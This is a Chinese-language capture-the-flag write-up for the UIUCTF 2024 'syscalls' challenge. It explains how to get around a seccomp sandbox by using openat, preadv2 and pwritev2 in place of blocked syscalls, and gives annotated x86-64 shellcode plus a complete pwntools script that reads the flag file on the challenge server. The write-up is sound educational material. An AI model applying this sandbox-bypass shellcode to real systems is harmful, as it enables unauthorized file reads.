UIUCTF 2024 syscalls
syscalls
题目分析



main函数也很简单,根据提示认为是通过orw打开./txt文件
看看沙盒

攻击思路
在沙盒中 orw被禁用,在syscall.sh找到可替代orw的函数.即openat,preadv2,pwritev2.
openat用法
openat(int dirfd, const char *pathname, int flags);
openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd:当前工作目录; pathname:文件名; flags:控制打开方式 可选标志 mode:权限 在flags包含O_CREAT时有效.
preadv2 pwritev2用法
preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
fd:文件描述符
iov:iovec结构体数组 前八字节是读取的起始地址 后八字节表示读取的长度
struct iovec {
void *iov_base; // 缓冲区起始地址
size_t iov_len; // 缓冲区长度
};
iovcnt:读取的iov数组的元素数量
offset:文件偏移量 控制读写起点
exp
因此,
openat(AT_FDCWD, "./flag.txt", 0);
preadv2(3, {"rsp": 0x50}, 1, 0, 0);
pwritev2(1, {"rsp": 0x50}, 1, -1, 0);
即可实现orw打开flag.txt
openat(AT_FDCWD, "./flag.txt", 0);
mov rax, 257 ; syscall number for openat (257)
mov rdi, -100 ; AT_FDCWD (-100), 表示当前工作目录
mov rsi, 0x7478 ; 字符串 "xt"(小端序)
push rsi ; 压栈 "xt"
mov rsi, 0x742e67616c662f2e ; 字符串 "./flag.t"(小端序)
push rsi ; 压栈 "./flag.t"
mov rsi, rsp ; rsi = 栈顶指针(指向 "./flag.txt")
xor rdx, rdx ; rdx = 0(O_RDONLY 只读模式)
syscall ; 调用 openat
preadv2(3, {"rsp": 0x50}, 1, 0, 0);
mov rdi, rax ; rdi = 文件描述符(fd)
mov rax, 327 ; syscall number for preadv2 (327)
mov r12, rsp ; r12 = 栈指针
add r12, 0x50 ; r12 += 0x50(指向缓冲区)
mov r11, 0x50 ; r11 = 读取长度(0x50 字节)
push r11 ; 压栈 length
push r12 ; 压栈 buffer
mov rsi, rsp ; rsi = 指向 iovec 结构体 {buffer, length}
mov rdx, 1 ; rdx = iovcnt(iovec 数量)
mov r10, -1 ; r10 = offset(-1 表示不偏移)
mov r8, 0 ; r8 = flags(0 表示默认)
syscall ; 调用 preadv2
pwritev2(1, {"rsp": 0x50}, 1, -1, 0);
mov rax, 328 ; syscall number for pwritev2 (328)
mov rdi, 1 ; rdi = 1(stdout)
syscall ; 调用 pwritev2
点点我
from pwn import *
exe = ELF("./syscalls")
context.binary = exe
def conn():
if args.LOCAL:
io = process([exe.path])
if args.DEBUG:
gdb.attach(io)
else:
io = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
return io
def main():
io = conn()
# openat(AT_FDCWD, "./flag.txt", 0)
# preadv2(3, {"rsp": 0x50}, 1, 0, 0)
# pwritev2(1, {"rsp": 0x50}, 1, -1, 0)
sh = asm("""
mov rax, 257
mov rdi, -100
mov rsi, 0x7478
push rsi
mov rsi, 0x742e67616c662f2e
push rsi
mov rsi, rsp
xor rdx, rdx
syscall
mov rdi, rax
mov rax, 327
mov r12, rsp
add r12, 0x50
mov r11, 0x50
push r11
push r12
mov rsi, rsp
mov rdx, 1
mov r10, -1
mov r8, 0
syscall
mov rax, 328
mov rdi, 1
syscall
""")
print(sh)
io.sendline(sh)
io.interactive()
if __name__ == "__main__":
main()

浙公网安备 33010602011771号